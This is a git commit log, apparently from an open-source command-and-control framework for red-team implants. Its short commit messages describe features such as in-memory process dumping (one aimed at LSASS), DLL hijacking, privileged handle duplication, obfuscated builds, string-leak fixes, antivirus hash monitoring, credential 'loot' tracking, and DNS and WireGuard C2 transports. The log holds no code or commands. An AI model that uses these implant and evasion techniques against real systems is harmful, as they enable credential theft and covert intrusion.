rkervella 465eb8cfee Add comment about missing callback support 2021-08-18 09:54:09 +02:00
rkervella 55da1a5dde Update vendor 2021-08-18 09:32:31 +02:00
rkervella bf44f379ec Update vendor 2021-08-18 09:31:37 +02:00
rkervella e5430caf8d Add darwin support 2021-08-18 09:30:25 +02:00
rkervella 60c5c2ee89 Merge branch 'master' into extensions 2021-08-16 18:23:10 +02:00
rkervella 9cf607d155 Fix duplicate protobuf identifier 2021-08-16 17:29:18 +02:00
rkervella e3a6b237f1 Fix typo 2021-08-16 16:22:52 +02:00
Ronan Kervella 2c70ff1291 Merge pull request #496 from RafBishopFox/master
Adding process integrity to getprivs
2021-08-16 15:55:37 +02:00
Raf 4a3a2a7be3 Adding process integrity to getprivs 2021-08-16 09:23:56 -04:00
Joe 2a8f9bca18 Merge pull request #493 from BishopFox/go/v1.16.7
Go v1.16.7
2021-08-09 10:29:06 -05:00
moloch-- d46a67c840 Go v1.16.7 2021-08-09 10:06:49 -05:00
rkervella 8b99a98d5e Merge branch 'master' into extensions 2021-08-04 14:14:46 +02:00
Ronan Kervella 043eda5bc4 Merge pull request #492 from BishopFox/procdump-memory
In-memory procdump
2021-08-04 13:23:41 +02:00
rkervella a51d93cf58 Merge branch 'master' into procdump-memory 2021-08-04 12:14:22 +02:00
rkervella 44abb0e03b Switch to in memory process dump on windows 2021-08-04 12:00:01 +02:00
Ronan Kervella 09d94ab559 Merge pull request #491 from BishopFox/jd/extensions
Extensions
2021-08-04 09:13:17 +02:00
moloch-- 1420ebd447 Moved asset setup to client/console 2021-08-03 19:51:37 -07:00
rkervella 96a531f9d4 Merge branch 'master' into extensions 2021-08-03 12:33:55 +02:00
Ronan Kervella 7ef4923fc0 Merge pull request #490 from iiiusky/fix/portfwdBug
fix: Remove default from select, which will cause the cpu to spike
Overriding commit signing for this one, it's a one line change with no security impact.
2021-08-03 11:50:18 +02:00
sky 3f83761a90 fix: Remove default from select, which will cause the cpu to spike 2021-08-03 16:11:36 +08:00
Ronan Kervella f3bdb5cadc Merge pull request #486 from BishopFox/hosts
Hosts
2021-08-02 09:04:31 +02:00
moloch-- fd3df6a3f3 Implemented ioc rm cmd 2021-07-31 11:42:23 -07:00
moloch-- 3c6b60bc3e Hosts IOC tracking support 2021-07-31 08:25:27 -07:00
moloch-- d42373e545 Added hosts iocs cmd 2021-07-29 19:41:32 -05:00
moloch-- 76e4f430d0 Merged extensions 2021-07-29 09:32:42 -05:00
moloch-- ab8d431c39 implemented hosts rm 2021-07-29 09:28:18 -05:00
moloch-- e4ad404822 Fix host uuid 2021-07-29 06:57:19 -05:00
rkervella 9e6a771a1a Merge branch 'master' into extensions 2021-07-29 11:40:54 +02:00
Ronan Kervella 94eb13610b Merge pull request #485 from BishopFox/registry
Add registry list-subkeys and list-values sub commands
2021-07-29 11:37:29 +02:00
rkervella 394fdb4a1e Add registry list-subkeys and list-values sub commands 2021-07-29 11:06:27 +02:00
rkervella 69ebbcb728 Merge branch 'extensions' of bishopfox.github.com:BishopFox/sliver into extensions 2021-07-29 10:17:28 +02:00
rkervella 5c65da3567 Add loader and default manifest to client's assets 2021-07-29 10:16:25 +02:00
rkervella 1c67a11c29 Remove CLR DLL as we don't need it anymore 2021-07-29 08:34:27 +02:00
moloch-- 755bed951b Add ioc tracking 2021-07-28 23:37:49 -05:00
moloch-- 7ba4e5bec0 Sessions for hosts 2021-07-28 23:04:26 -05:00
moloch-- 5d8d49461c Outlined hosts db and cmd 2021-07-28 22:48:14 -05:00
Joe cadc717963 Merge pull request #484 from BishopFox/jd/extensions
Platform agnostic path manipulation in macros
2021-07-28 14:27:38 -05:00
moloch-- ce4a7c7dcc Platform agnostic path manipulation in macros 2021-07-28 14:06:22 -05:00
Ronan Kervella ab8ff6a06a Merge pull request #483 from BishopFox/jd/extensions
Platform agnostic path manipulation
2021-07-28 17:41:51 +02:00
moloch-- 3b93554df2 Platform agnostic path manipulation 2021-07-28 08:20:52 -05:00
rkervella b688b7b121 Only update session when necessary 2021-07-28 14:58:01 +02:00
rkervella 3ce603a3c7 Fix constructor call, add dynamic entrypoint resolution for BOFs 2021-07-28 11:48:17 +02:00
Ronan Kervella 9d3b6564f8 Merge pull request #480 from BishopFox/fix/reg-crash
Fix crash on registry read
2021-07-27 19:02:34 +02:00
rkervella 9cdb3e6def Apply fix to reg-create and reg-write too 2021-07-27 18:43:07 +02:00
rkervella 2df7f1319f Fix #479 2021-07-27 18:40:18 +02:00
rkervella 4ad24ac3a0 Fix typo 2021-07-27 18:14:20 +02:00
rkervella 3d9df17d43 Fix path 2021-07-27 15:49:35 +02:00
rkervella d53c646af0 Store extension dir in assets 2021-07-27 15:44:05 +02:00
rkervella 601c1eea64 Add support for init function 2021-07-27 15:27:31 +02:00
rkervella 12ee96451a Refactor BOF args parsing 2021-07-27 15:24:29 +02:00
rkervella cc304ba85a Update readme 2021-07-27 15:19:09 +02:00
rkervella a743a72500 vendor update 2021-07-27 15:14:26 +02:00
rkervella 6c75b08648 Extension rework 2021-07-27 15:14:13 +02:00
Joe d928ca58dd Merge pull request #478 from RafBishopFox/master
Add new Windows command getprivs
2021-07-25 16:30:00 -05:00
Raf c18ba5fcb8 Merge branch 'master' of github.com:RafBishopFox/sliver 2021-07-25 16:29:02 -04:00
Raf 0e9545ae1c Adding getprivs command for Windows 2021-07-25 16:28:48 -04:00
Raf e6d1041068 Adding getprivs command for Windows 2021-07-25 16:07:49 -04:00
rkervella 85265d663f WIP, doesn't work with LSASS 2021-07-23 13:45:13 +02:00
Joe 7a38ddffb6 Merge pull request #477 from BishopFox/fix/proto
Migrate to google.golang.org/protobuf
2021-07-21 18:16:19 -05:00
moloch-- 5b160e358e Moved to google.golang.org/protobuf 2021-07-21 11:27:30 -05:00
moloch-- f94f0fc938 added implant/README.md 2021-07-21 11:17:57 -05:00
moloch-- 714499b21b added warning to constants header 2021-07-21 11:06:25 -05:00
Ronan Kervella 9be7ccb209 Merge pull request #476 from BishopFox/extensions
Fix extensions arguments parsing
2021-07-20 16:33:27 +02:00
rkervella a43850333b Fix extensions arguments parsing 2021-07-20 16:00:43 +02:00
Ronan Kervella f6351f725a Merge pull request #475 from BishopFox/extensions
Update sideload to use Donut
2021-07-20 15:10:19 +02:00
rkervella 1079a559ab Update sideload to use Donut 2021-07-20 14:37:45 +02:00
Ronan Kervella 5bcf9ba893 Merge pull request #474 from BishopFox/cat-hex
Add hex dump to the cat command
2021-07-20 13:27:44 +02:00
rkervella ebfa3ca86c Add hex dump to the cat command 2021-07-20 12:56:00 +02:00
Joe 6c62dfb486 Merge pull request #473 from BishopFox/fix/dns
Fixed issue #436 and standardized on --lhost/-L for all listener cmds
2021-07-19 17:46:28 -05:00
moloch-- 76cd61a27d Fixed issue #436 and standardized on --lhost/-L for all listener commands 2021-07-19 15:53:16 -05:00
Ronan Kervella 35d692b4ca Merge pull request #472 from BishopFox/dll-hijack
Add dllhijack command
2021-07-19 17:16:44 +02:00
rkervella a1058aa4f0 Update long help 2021-07-19 16:40:11 +02:00
rkervella ae3c082498 Add dllhijack command 2021-07-19 15:43:16 +02:00
Ronan Kervella d3a107cf43 Merge pull request #471 from BishopFox/duphandle
Use DuplicateHandle to get a fully privileged handle to remote processes instead of PROCESS_ALL_ACCESS request
2021-07-16 15:00:40 +02:00
rkervella ee5acfe47b No more OpenProcess with PROCESSS_ALL_ACCESS 2021-07-16 14:16:18 +02:00
Joe 10c3062016 Merge pull request #470 from BishopFox/stage
Go v1.16.6
2021-07-15 15:11:43 -05:00
moloch-- 5e80dfcfb9 Go v1.16.6 2021-07-15 14:51:37 -05:00
Joe 5bcfa4c249 Merge pull request #468 from BishopFox/stage
Disable garble's -tiny option
2021-07-13 08:07:10 -05:00
rkervella ac3e29a287 Disable garble's -tiny option 2021-07-13 14:34:20 +02:00
Joe a3af100db0 Update README.md 2021-07-09 17:05:58 -05:00
Joe 7489c69962 Merge pull request #465 from BishopFox/gh-pages
Bug Fixes & GH Pages
2021-07-09 16:45:21 -05:00
moloch-- 3859b3493e Added some content 2021-07-09 16:26:13 -05:00
moloch-- 874023b8c3 Fix bug in loot allOf 2021-07-09 16:11:14 -05:00
moloch-- 5f971b36d4 Outlined docs/ 2021-07-09 14:46:59 -05:00
moloch-- b2451c4bfb All survey v2 2021-07-09 14:46:02 -05:00
moloch-- 2af5195c85 Updated readme 2021-07-06 20:53:11 -05:00
moloch-- bff100ad31 Updated readme 2021-07-06 19:43:54 -05:00
Joe b20ee295bb Merge pull request #464 from BishopFox/ux/generate
Add warning when cross-compiling to targets without a cross-compiler …
2021-07-06 09:39:18 -05:00
moloch-- 249f9355f2 Fix typo 2021-07-06 09:19:01 -05:00
moloch-- 3793fae878 Add warning when cross-compiling to targets without a cross-compiler instaleld 2021-07-06 09:15:45 -05:00
Ronan Kervella 3e8ce33a49 Merge pull request #462 from BishopFox/fix/461
Fix #461
2021-07-06 15:16:17 +02:00
rkervella 2ea95543a9 Fix #461 2021-07-06 14:28:23 +02:00
moloch-- 1857b9c0ed More readme's 2021-07-05 23:05:45 -05:00
Joe 9e56e9ac4b Merge pull request #459 from BishopFox/reaction
Reaction
2021-07-05 21:11:35 -05:00
moloch-- 106b2a7c5c Cleanup/tweaks 2021-07-05 18:07:42 -05:00
moloch-- 8d3cba07ef Added verbose help for reactions 2021-07-05 17:09:11 -05:00
moloch-- 43398e2eee Added save/reload cmds, autoload reactions if they exist at start up 2021-07-05 16:34:06 -05:00
moloch-- 8d8e902a72 get-env, etc -> env with subcommands 2021-07-05 15:57:01 -05:00
moloch-- 28c7460983 Cleanup some reaction code 2021-07-05 13:32:35 -05:00
moloch-- 084faf44ca Implemented event reaction command 2021-07-05 12:09:40 -05:00
Joe c616f7a9b2 Merge pull request #458 from BishopFox/fix/golint
Various golint fixes
2021-07-04 14:22:13 -05:00
moloch-- 53d6d14c72 Various golint fixes 2021-07-04 14:04:29 -05:00
Joe ea32922663 Merge pull request #457 from BishopFox/fix/golint
Fix/golint
2021-07-04 13:39:58 -05:00
moloch-- 7321f62778 golint fixes in server/generate 2021-07-04 13:22:27 -05:00
moloch-- cee5966e77 golint fixes in client/core 2021-07-04 13:19:53 -05:00
moloch-- b800448670 golint fixes in server/ 2021-07-04 13:17:18 -05:00
moloch-- 9a5d6948fe Added export comments to client/command 2021-07-04 13:08:15 -05:00
moloch-- 2e4ab0a3bb Move lic 2021-07-04 10:53:04 -05:00
moloch-- c06c87bf3a Fix code comment 2021-07-04 09:20:03 -05:00
Joe bfc645846e Merge pull request #456 from BishopFox/client-refactor
Client Refactor
2021-07-04 09:14:56 -05:00
moloch-- 7a56c9423c Hunted down any remaining calls to fmt.Print 2021-07-04 08:00:43 -05:00
moloch-- 249fee093d Refactored extensions, client refactor completed 2021-07-03 18:02:06 -05:00
moloch-- 3ee1f5a7c5 Always clear prompt line, initialize isServer 2021-07-03 17:54:04 -05:00
moloch-- 80e42b307d Refactored screenshot, improvements to sessions 2021-07-03 17:50:15 -05:00
moloch-- 13bfc10223 Refactored shell, added ssh to exec pkg 2021-07-03 16:37:36 -05:00
moloch-- 32957cb9bd Refactored monitor, network, pivots, and portfwd 2021-07-03 16:26:40 -05:00
moloch-- de49318845 Refactored registry and websites 2021-07-03 15:53:08 -05:00
moloch-- 1696184d6b Refactored registry and websites 2021-07-03 15:52:55 -05:00
moloch-- 8e215c2bd0 Refactored privilege, updated loot 2021-07-03 15:14:44 -05:00
moloch-- 94147ca1ab Refactored backdoor and wg 2021-07-03 14:49:55 -05:00
moloch-- 71c921b36e Refactored stage listener 2021-07-03 14:25:28 -05:00
moloch-- 993996bc91 Refactored sessions and operators 2021-07-03 14:12:02 -05:00
moloch-- 1c81b2baae Refactored jobs 2021-07-03 12:33:44 -05:00
moloch-- b01376d3e6 Updated client/command/README.md 2021-07-03 12:10:44 -05:00
moloch-- a344d8b972 Refactored generate 2021-07-03 12:03:58 -05:00
moloch-- 6070997279 client/ 2021-07-03 12:03:40 -05:00
moloch-- fa2ab0bad2 Refactored info 2021-07-03 11:38:48 -05:00
moloch-- ad5e3024d6 Refactored exec and loot 2021-07-03 11:32:42 -05:00
moloch-- de8acdccc5 Refactored file system cmds 2021-07-03 10:47:21 -05:00
moloch-- 48dc187e50 Outlined update cmd 2021-07-03 10:33:51 -05:00
moloch-- b8671cc160 Outlined major refactor of client/ 2021-07-03 10:14:49 -05:00
Joe f318c002de Merge pull request #418 from janedoe-lab/reverse-proxy-remoteaddr
Fetch correct remote addr when sliver server runs behind reverse proxy
2021-07-02 09:53:32 -05:00
Joe 15a8aa7cd5 Merge pull request #455 from BishopFox/prompt
Prompt
2021-07-02 09:41:09 -05:00
moloch-- f9c91f1ad7 Improved validate and annotation of where we derive remote address from 2021-07-02 09:32:14 -05:00
moloch-- 69aefd6ab2 Merge branch 'master' into reverse-proxy-remoteaddr 2021-07-02 09:31:51 -05:00
moloch-- 4cf45b100b Remove memory/cpu warning for obfuscated symbols 2021-07-02 09:16:21 -05:00
Joe a2aa9c2daf Merge pull request #454 from BishopFox/generate-info
Generate Info
2021-07-02 09:14:23 -05:00
moloch-- 1cace21960 Modify prompt depending on if the client is running as the server/multiplayer client 2021-07-02 09:14:02 -05:00
moloch-- f02783206f Merge branch 'master' into generate-info 2021-07-02 08:49:05 -05:00
Ronan Kervella dbe6cb8843 Merge pull request #452 from BishopFox/ssh
Add support for loot in the SSH command
2021-07-02 09:20:32 +02:00
moloch-- dc74940cb9 Removed extra logging 2021-07-01 19:43:27 -05:00
moloch-- 16ee381eae Improved ux around 'generate info' 2021-07-01 19:37:48 -05:00
moloch-- 1379ff6afe Improved ux around 'generate info' 2021-07-01 19:21:46 -05:00
moloch-- 91d277baae Added list of 'unsupported' compiler targets 2021-07-01 19:05:53 -05:00
moloch-- 330e0e7bdd Added missing lic headers 2021-07-01 18:07:00 -05:00
Joe 0df8f9049d Merge pull request #453 from BishopFox/actions
Add 45min timeouts to actions
2021-07-01 15:42:59 -05:00
rkervella d213728abe Merge branch 'master' into ssh 2021-07-01 21:46:06 +02:00
moloch-- 1b2f0e79f8 Add 45min timeouts to actions 2021-07-01 14:40:34 -05:00
Joe f6f68dc93c Merge pull request #451 from BishopFox/loot
Loot
2021-07-01 13:59:16 -05:00
moloch-- c47b024ea9 Added loot rename command 2021-07-01 13:13:08 -05:00
rkervella dedcb42c0f Add loot credentials support to SSH command 2021-07-01 19:21:04 +02:00
rkervella 43323aed38 Merge branch 'master' into ssh 2021-07-01 18:24:44 +02:00
moloch-- 6e8949cb13 Added 'save as loot' option to some commands, improved displaying textual loot 2021-07-01 08:08:21 -05:00
Joe 3ab6061bb8 Merge pull request #450 from BishopFox/defaultshell
Default Shell
2021-07-01 07:10:01 -05:00
moloch-- f28010137d Better ux and logging for shell_default 2021-06-30 21:49:04 -05:00
moloch-- 7ec5b83227 Enable dumb shell and portfwd in default builds 2021-06-30 17:03:04 -05:00
Joe c69486cc40 Merge pull request #449 from BishopFox/help
Fixes and improvements to 'help'
2021-06-30 15:28:55 -05:00
moloch-- e69cf6a51e Fixes and improvements to 'help' 2021-06-30 14:32:16 -05:00
Joe f056fdf893 Merge pull request #447 from BishopFox/loot
Loot
2021-06-30 12:49:32 -05:00
rkervella f49c83961e Handle CredentialType_FILE for displayLootCredentials 2021-06-30 18:56:49 +02:00
moloch-- 7993b4c2c6 Added long form --help to loot cmd 2021-06-30 11:35:55 -05:00
moloch-- 35b28941a3 Improved loot ux 2021-06-30 11:16:41 -05:00
moloch-- 543950ad8a Refactored loot scheme to support credential files 2021-06-30 10:02:37 -05:00
moloch-- e4b036feb9 removed redundent param checks 2021-06-30 07:33:31 -05:00
Ronan Kervella acb079ed07 Merge pull request #448 from BishopFox/grumble-update
Refactor to remove useless argument checks.
2021-06-30 11:29:59 +02:00
rkervella c918499595 Refactor to remove useless argument checks.
Fix optional argument issue on `info`
2021-06-30 11:02:30 +02:00
moloch-- 8349abb7b2 Fix event type typo 2021-06-29 22:38:56 -05:00
moloch-- 2fa02e5f35 Publish loot events 2021-06-29 22:36:33 -05:00
moloch-- 02b6c6eb98 Fix unit tests 2021-06-29 22:12:24 -05:00
moloch-- 77565919df Added creds subcommand 2021-06-29 21:37:52 -05:00
moloch-- 8095fc8239 Basic functionality working 2021-06-29 21:08:25 -05:00
moloch-- 4dfd1842fc Working on user interface 2021-06-29 19:18:36 -05:00
moloch-- 7a3be8f0be Unit tests pass 2021-06-29 17:19:18 -05:00
moloch-- a7cacc5aac Outlined loot APIs 2021-06-29 16:27:03 -05:00
Joe 0eecbd2d6c Merge pull request #446 from BishopFox/compiler
Add Compiler Info Cmd
2021-06-29 09:31:15 -05:00
moloch-- 7967e1f4f8 Added cross-compilers to GetCompiler response 2021-06-29 09:10:36 -05:00
moloch-- 9cabf02b0d Updated licenses 2021-06-29 08:33:42 -05:00
moloch-- e1518853da Merged master 2021-06-29 08:29:14 -05:00
moloch-- 65dd048ad1 syntax fix 2021-06-29 08:24:35 -05:00
Ronan Kervella a447dd1331 Merge pull request #444 from BishopFox/grumble-update
Grumble update
2021-06-29 10:36:09 +02:00
moloch-- 93744799dc Moved profile-generate and new-profile under profiles cmd 2021-06-28 21:59:53 -05:00
moloch-- b8b1574ab5 Implemented GetCompiler, small refactor to pb 2021-06-28 21:41:53 -05:00
moloch-- eb4573d103 Updated pb 2021-06-28 17:36:15 -05:00
rkervella e526554797 Update vendor 2021-06-28 14:01:04 +02:00
rkervella 10dde3d3d1 Major grumble upgrade 2021-06-28 14:00:56 +02:00
Ronan Kervella 31ed94b869 Merge pull request #443 from BishopFox/stage
Disable codeql scanning for PRs
2021-06-28 11:58:59 +02:00
rkervella 6fbde7400d Refactor ssh client 2021-06-28 11:00:37 +02:00
rkervella 2aadc4bb1e Remove debug comment 2021-06-28 10:54:06 +02:00
rkervella e110fc4fb7 Disable codeql scanning for PRs 2021-06-28 10:51:06 +02:00
Ronan Kervella edcaf11557 Merge pull request #441 from BishopFox/ssh
Add an SSH client to implants
2021-06-25 17:12:56 +02:00
rkervella d20c86c227 Update codeql workflow 2021-06-25 16:47:28 +02:00
rkervella c11055e0f6 Update flags to be more consistent with the regular ssh client 2021-06-25 16:34:57 +02:00
rkervella 0ccd25d450 Add support for windows, make code arch specific 2021-06-25 15:53:45 +02:00
rkervella 9e3aaa9976 Add support for external credentials (private key or password) 2021-06-25 15:23:51 +02:00
rkervella fce6fd61d7 Update vendor 2021-06-25 12:03:00 +02:00
rkervella 209bbd9b8b Add SSH command 2021-06-25 12:02:37 +02:00
Ronan Kervella 410f0756d2 Merge pull request #440 from BishopFox/snitch
Add optional monitoring of implant hashes on Virus Total and IBM X-Force
2021-06-24 16:29:36 +02:00
rkervella 633a423d35 Update vendor 2021-06-24 15:34:35 +02:00
rkervella 72b15b1453 Monitor command working 2021-06-24 15:34:04 +02:00
Joe e600f9fa56 Merge pull request #438 from BishopFox/stage
Fix default path for mingw on macos
2021-06-18 13:35:43 -05:00
moloch-- 7c66ce8715 Fix default path for mingw on macos 2021-06-18 11:04:40 -05:00
Joe 1231b8ce03 Merge pull request #437 from BishopFox/stage
Stage
2021-06-17 20:10:41 -05:00
rkervella c074008efb Fix string leaks via refactor of protobuf enums 2021-06-17 20:05:41 +02:00
moloch-- 9684689b1f Bump version of Garble to 1.16.7 with increased literal max size 2021-06-16 10:27:55 -05:00
Joe ee5bc3809c Merge pull request #434 from BishopFox/stage
Go 1.16.5 & Darwin musl CC
2021-06-06 06:43:44 -05:00
moloch-- 0ecb28c6a5 Added darwin musl cc default path 2021-06-05 23:03:22 -05:00
moloch-- cb6f4327d8 Go v1.16.5 2021-06-03 19:06:46 -05:00
Joe 37a09d5167 Update README.md 2021-06-01 18:44:20 -05:00
Joe 21d61eca59 Merge pull request #431 from BishopFox/stage
Better Cross-comiler Support
2021-05-30 13:00:13 -05:00
moloch-- 562a40dfac Added default paths for osxcross 2021-05-30 12:27:15 -05:00
moloch-- 5e48f3bdf9 Platform specific cross-compiler env/configs 2021-05-30 09:51:27 -05:00
moloch-- e49dbf7dbe Updated Garble 2021-05-23 16:57:18 -05:00
moloch-- ea6a17c3e6 Updated Go/Garble v1.16.4 2021-05-11 07:35:42 -05:00
Joe 1c62152827 Update README.md 2021-05-07 13:27:15 -05:00
Ronan Kervella 516f05622f Merge pull request #425 from BishopFox/env
Multiple improvments
2021-05-07 13:19:57 +02:00
rkervella 40cb216d5f Update comments 2021-05-07 12:13:20 +02:00
rkervella bd8229831c Add netstat for macos 2021-05-07 12:01:34 +02:00
rkervella f4d5f2be8f Update build tag 2021-05-06 16:00:19 +02:00
rkervella f4030ac3fb Update srcfiles 2021-05-06 15:18:56 +02:00
rkervella f54239d869 Remove useless file 2021-05-06 15:17:32 +02:00
rkervella 714d75edfd Revert filename change 2021-05-06 15:17:23 +02:00
rkervella fb773e8ddf Set filename to arch specific format 2021-05-06 14:47:53 +02:00
rkervella b37b6c3f84 Add process owner for Darwin ps 2021-05-06 13:48:03 +02:00
rkervella c8d186c9ba Add command line argument support for Darwin and Linux for the ps
command
2021-05-06 11:07:52 +02:00
rkervella 5de3b3fca5 Move msg to the end to avoid compat issues 2021-05-03 15:34:20 +02:00
rkervella f1e0af5453 Add unsetenv command 2021-05-03 14:47:01 +02:00
Joe 672c0e29d0 Merge pull request #424 from BishopFox/stage
DNS Fixes
2021-05-02 12:42:05 -05:00
moloch-- 4e0cd2b5e7 Minor tweaks to PR, reduced retry sleep to 250milli 2021-05-02 11:44:03 -05:00
Joe a378db33ca Merge pull request #420 from rwincey/tunnel-send-cache
Multiple Fixes
2021-04-30 23:16:18 -05:00
rwincey 28d0e445c3 Multiple Fixes
1. Recently introduced configurable implant intervals where not persistent in the current run. If a reconnect happens, the original values were sent to the server during initial handshake rather than the updated values.
2. Fixed race condition in DNS UDP server code that was not unlocking the DNS session map and thus breaking everything.
3. Removed code that was removing the DNS UDP session key stored during the initial handshake in the event that a failure happens in the middle of the handshake. This bug was uncovered due to the race condition in 2.
4. Added 1 second sleep between DNS lookup retries.
5. Removed "-" from dnsCharSet on server like was done to fix DNS related issue in the implant.
6. Add line to update the checkin time for the UDP DNS implant on each poll rather that just when a initial handshake is completed.
7. Updated ALIVE/DEAD code to check the maximum of the reconnect interval and poll interval.
2021-04-30 13:52:59 -04:00
Jane Doe 866e1cf0b6 Fetch correct remote addr when sliver server runs behind reverse proxy 2021-04-29 17:56:14 +00:00
Joe e957b41eeb Merge pull request #417 from BishopFox/stage
Merge Tunnel Cache PR
2021-04-28 19:45:31 -05:00
moloch-- 985b213dc5 Minor refactor 2021-04-28 19:27:44 -05:00
moloch-- df33a6922f Updates with with non .zip files 2021-04-28 19:19:12 -05:00
Joe 6b5e65df3d Merge pull request #414 from rwincey/tunnel-send-cache
Tunnel send cache
2021-04-28 13:39:57 -05:00
rwincey f847e06119 Updated sliver protobuf 2021-04-28 11:17:41 -04:00
rwincey 79b56f477d Event send on closed channel 2021-04-28 10:38:22 -04:00
b0yd 54af39cc11 Merge branch 'master' of https://github.com/BishopFox/sliver into tunnel-send-cache 2021-04-28 10:32:53 -04:00
Joe 2fe0a61c70 Merge pull request #412 from BishopFox/stage
PR 410
2021-04-28 09:12:35 -05:00
moloch-- ce8f1b183e Merge branch 'master' into stage 2021-04-28 08:34:32 -05:00
b0yd a392cbe0d2 Merge branch 'master' of https://github.com/BishopFox/sliver into tunnel-send-cache 2021-04-28 09:09:17 -04:00
Ronan Kervella 94384b00b9 Merge pull request #413 from BishopFox/fix/pivot
Log new pivot connection to audit log
2021-04-28 13:52:25 +02:00
rkervella 805bfda559 Log new pivot connection to audit log 2021-04-28 12:08:55 +02:00
moloch-- 781cf5c883 Vendor build by default 2021-04-27 23:08:54 -05:00
moloch-- 84cbdb8bb6 Removed unused code 2021-04-27 20:38:13 -05:00
moloch-- f3550619f5 Merge branch 'pr/410' into stage 2021-04-27 20:31:55 -05:00
Joe b79b37df7e Merge pull request #410 from rwincey/dns-interval
Update Reconnect & Poll Intervals - DNS failure bug fix
2021-04-27 20:31:42 -05:00
moloch-- 950e970c91 Update protobuf 2021-04-27 20:30:06 -05:00
rwincey 1a32f5c173 Fixed meta data for debug messages 2021-04-27 16:23:48 -04:00
rwincey 7dc663f7c7 Fixed config meta data that was missing for debug 2021-04-27 16:14:40 -04:00
rwincey 7cbec86c3d Shell & DNS implant reliability
1. Fixed bug in DNS implant dictionary. It appears a nonce that ends in "-" is invalid and thus creates substantial dataloss in the comms. Removed this from the DNS charset.
2. Added send cache to server rpc tunnel to allow for resending of messages in the event that a packet is lost. Added additional field for tracking send and recv sequence numbers to the tunnel data struct.
3. Added mutex to implant tunnel handler since multiple shared data structures were being accessed and modified in parallel and causing issues.
3.
2021-04-27 15:36:23 -04:00
rwincey 77376fc592 Merge branch 'master' of https://github.com/rwincey/sliver 2021-04-26 12:53:27 -04:00
rwincey 5c59e1fdef Added ability to view and set reconnect and poll intervals 2021-04-26 12:53:22 -04:00
b0yd 6a96b35de6 Added code to drop out of DNS Poll limit on 3 concurrent request errors 2021-04-23 09:34:49 -04:00
Joe 6c02971b54 Merge pull request #408 from BishopFox/stage
Added support for path prefixes in HTTP C2
2021-04-22 17:45:57 -05:00
moloch-- a23da07fb8 Added support for path prefixes in HTTP C2 2021-04-22 16:22:20 -05:00
Joe 6ddf846bc7 Merge pull request #407 from BishopFox/stage
Fix Upload Encoder / Improved Error Handling
2021-04-22 11:10:35 -05:00
moloch-- 8c27bd6b1f Avoid name confusion in upload handler 2021-04-22 10:07:42 -05:00
moloch-- 308c6952dc Properly handle upload encoder, improved error handling 2021-04-22 09:54:33 -05:00
moloch-- 7361e50a00 Updated garble 2021-04-22 08:45:25 -05:00
moloch-- 21aebb9c7e Merge branch 'master' into stage 2021-04-22 08:20:52 -05:00
Ronan Kervella ba43f1d83b Merge pull request #403 from BishopFox/fix/dnscrash
Ensure dnsSession is not nil before using it
2021-04-21 11:33:20 +02:00
rkervella e4bdad20df Ensure dnsSession is not nil before using it 2021-04-21 09:21:48 +02:00
moloch-- 8c749d4b9c Added more ascii banners 2021-04-17 11:06:29 -05:00
moloch-- d0a85da671 Generate accepts Go's amd64/386 args 2021-04-16 07:07:18 -05:00
Ronan Kervella 32a3305e44 Merge pull request #398 from BishopFox/stage
Add WG config to implant profiles
2021-04-15 12:56:56 +02:00
rkervella 8bfca6abe7 Only display errors in debug mode 2021-04-15 12:31:21 +02:00
rkervella f750575105 Fix wg config in implant profiles 2021-04-15 12:16:27 +02:00
rkervella e8bda7e111 Fix missing wg config in stage-listener 2021-04-15 11:35:33 +02:00
Joe 63b90eb212 Merge pull request #397 from BishopFox/stage
Added --save flag to wg-config
2021-04-14 19:31:23 -05:00
moloch-- 415ab63a7c Added --save flag to wg-config 2021-04-14 19:06:02 -05:00
Ronan Kervella d927160d52 Merge pull request #396 from BishopFox/stage
Stage
2021-04-14 20:36:19 +02:00
rkervella 5cd0d54e95 Merge branch 'master' into stage 2021-04-14 20:14:42 +02:00
rkervella b457674d2e Fix Makefile 2021-04-14 20:14:12 +02:00
Joe bd141ac51f Update README.md 2021-04-13 17:50:53 -05:00
Ronan Kervella 7f92148109 Merge pull request #395 from BishopFox/stage
Set meaningful flags for format and limit-fileexists
2021-04-13 16:49:45 +02:00
rkervella f7dd928511 Set meaningful flags for format and limit-fileexists 2021-04-13 16:25:40 +02:00
Joe 675e289ab3 Merge pull request #393 from BishopFox/portfwd2
Portfwd
2021-04-13 07:13:01 -05:00
Ronan Kervella 5033794a8d Merge pull request #394 from BishopFox/test/codeql
Re-enable codeql scanning on master PRs
2021-04-13 13:43:53 +02:00
rkervella 0564c685f3 Re-enable codeql scanning 2021-04-13 13:18:45 +02:00
rkervella 601752d7a0 Allow version override to make codeql happy 2021-04-13 13:17:28 +02:00
rkervella 112a338d07 Codeql workaround attempt #1 2021-04-13 12:48:15 +02:00
moloch-- e9eefae46c Fix transport check in portfwd 2021-04-12 22:47:25 -05:00
moloch-- 4ce79a6dd0 Added warning to 3389 forwards 2021-04-12 22:19:45 -05:00
moloch-- e26802989e Added warning to 3389 forwards 2021-04-12 22:19:09 -05:00
moloch-- 77eea586cc ActiveSession Get->GetInteractive 2021-04-12 22:16:13 -05:00
moloch-- c26eae1776 Merged master 2021-04-12 21:45:56 -05:00
Joe df570f7711 Merge pull request #383 from BishopFox/wg-portfwd
Add socks and port forwarding to the Wireguard C2 transport
2021-04-12 07:14:20 -05:00
rkervella e8b60f1fbd Add missing protobuf files 2021-04-12 13:06:51 +02:00
Ronan Kervella 8ced159505 Merge pull request #391 from BishopFox/fix/namedpipe
Fix named pipe listener to accept remote clients
2021-04-12 13:03:53 +02:00
rkervella cace8d0f73 Fix go.mod and go.sum 2021-04-12 12:35:50 +02:00
rkervella ae2219dfb9 Fix go.sum 2021-04-12 12:28:03 +02:00
rkervella d4b3ec9dac Add github.com/lesnages to GOPRIVATE 2021-04-12 12:17:18 +02:00
rkervella 8a6a6424a5 Merge branch 'master' into wg-portfwd 2021-04-12 12:11:45 +02:00
rkervella a54eba95ef Fix named pipe listener to accept remote clients 2021-04-12 11:52:54 +02:00
Joe 92a188d934 Update README.md 2021-04-11 10:33:13 -05:00
moloch-- e0962c711c Merged master 2021-04-11 09:51:21 -05:00
Joe 9343b2a2ce Merge pull request #390 from BishopFox/stage
Upgrade Go / Protobuf / gRPC
2021-04-11 09:33:22 -05:00
moloch-- 55674a16fd Removed protoc steps from workflows 2021-04-11 09:08:22 -05:00
moloch-- a5e1de966e Updated gitignore, makefile seperates pb from normal builds 2021-04-11 09:05:59 -05:00
moloch-- 6637f3932c Commit pb.go files 2021-04-11 08:59:00 -05:00
moloch-- 547e33c65a Updated vendor/ 2021-04-11 08:58:39 -05:00
